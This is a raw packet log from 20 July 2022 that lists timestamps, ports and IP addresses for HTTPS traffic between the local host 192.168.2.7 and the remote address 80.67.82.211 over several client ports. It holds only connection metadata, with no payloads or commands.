Jul 20, 2022 19:31:06.673840046 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.673851967 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.673863888 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.673919916 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.673945904 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.674664021 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.674696922 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.674763918 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.674772024 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.674822092 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.674850941 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.675844908 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.675868988 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.675940990 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.675951958 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.676203966 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.676243067 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.676292896 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.677385092 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.677408934 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.677506924 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.677515984 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.677548885 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.677575111 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.677702904 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.677772999 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.678539038 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.678582907 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.678627968 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.678637981 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.678666115 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.678690910 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.679972887 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680017948 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680073977 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.680083036 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680133104 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.680263042 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680299044 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680342913 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.680351973 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.680370092 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.680411100 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.682137966 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.682255030 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.682691097 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.682714939 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.682786942 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.682796001 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.682841063 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.682866096 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.683370113 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.683497906 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.683892012 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.683928013 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.683981895 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684000969 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684047937 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684088945 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684151888 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684178114 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684241056 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684262991 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684277058 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684288025 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684309006 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684361935 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684891939 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684931040 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.684988976 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.684999943 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.685043097 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.685085058 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.686382055 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.686398029 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.686408997 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.686527967 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.686537027 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.686570883 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.686611891 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.686959028 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.687005043 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.687053919 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.687067986 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.687100887 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.687122107 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.688128948 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.688160896 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.688247919 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.688271046 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.688330889 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.688354969 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689166069 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689259052 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689359903 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689388990 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689445019 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689454079 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689475060 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689500093 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689569950 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689611912 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689666986 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689681053 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.689724922 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.689744949 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.691174984 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.691265106 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.691495895 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.691524982 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.691587925 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.691597939 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.691615105 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.691646099 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693152905 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693197012 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693280935 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693303108 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693315983 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693367004 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693382025 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693388939 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693402052 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693407059 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693407059 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693464994 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693475008 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693476915 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693478107 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693537951 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693620920 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.693664074 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.693703890 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.694350004 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.694382906 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.694449902 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.694449902 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.694468021 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.694509983 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.694557905 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.694597960 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.694684029 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696278095 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696310043 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696400881 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696410894 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696443081 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696463108 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696748018 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696839094 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696878910 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696912050 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696962118 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.696971893 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.696999073 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.697024107 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.698554039 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698585987 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698666096 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698690891 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698818922 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.698832035 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698926926 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.698936939 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.698951960 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.698982954 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.699146032 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.699229002 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.700454950 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.700510979 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.700548887 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.700560093 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.700602055 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.700624943 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.700680971 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.700751066 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.702682018 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.702714920 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.702810049 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.702821970 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.702869892 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.703170061 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703197956 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703274965 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.703284025 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703326941 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.703706980 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703737020 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703795910 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.703807116 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.703844070 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.703866959 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.705037117 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705141068 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.705589056 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705617905 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705683947 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.705693007 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705714941 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705725908 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.705748081 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.705751896 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.705802917 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.706531048 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.706562042 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.706624985 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.706635952 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.706661940 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.706686974 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.707035065 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707060099 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707123995 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.707130909 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707170963 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.707187891 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.707329035 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707355976 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707459927 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.707469940 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.707514048 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.708564043 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.708595037 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.708621979 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.708687067 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.708695889 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.708749056 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.708774090 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.710411072 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.710445881 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.710494041 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.710505009 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.710530996 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.710545063 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.710592985 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.710623026 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.710629940 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712196112 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712224007 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712285995 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712294102 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712321997 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712342978 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712414026 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712449074 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712496996 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712508917 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712548018 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712580919 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712830067 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712896109 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712901115 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712913990 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.712964058 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.712977886 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713203907 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713251114 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713267088 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713299990 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713320971 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713346958 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713413000 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713421106 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713453054 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713463068 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713493109 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713522911 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713537931 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713573933 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713582039 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713614941 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713640928 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713742018 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713800907 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713830948 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713835001 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713843107 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.713906050 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.713947058 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714025974 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714086056 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714112997 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714122057 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714154959 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714178085 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714319944 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714354992 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714447021 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714478970 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714507103 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714544058 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714569092 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714606047 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714668989 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714688063 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.714720011 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.714777946 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.740895987 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.740933895 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.741090059 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.742610931 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.742655993 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.742733955 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.742755890 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.742780924 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.742923021 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.742978096 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743004084 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743031025 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743041992 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743081093 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743105888 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743122101 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743130922 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743161917 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743175983 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743226051 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743233919 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743246078 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743311882 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743447065 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743479967 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743530989 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743539095 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743571997 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743592024 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743597031 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743607044 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743649960 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743654966 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743714094 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743721962 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.743771076 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.743813038 CEST	443	50589	80.67.82.211	192.168.2.7
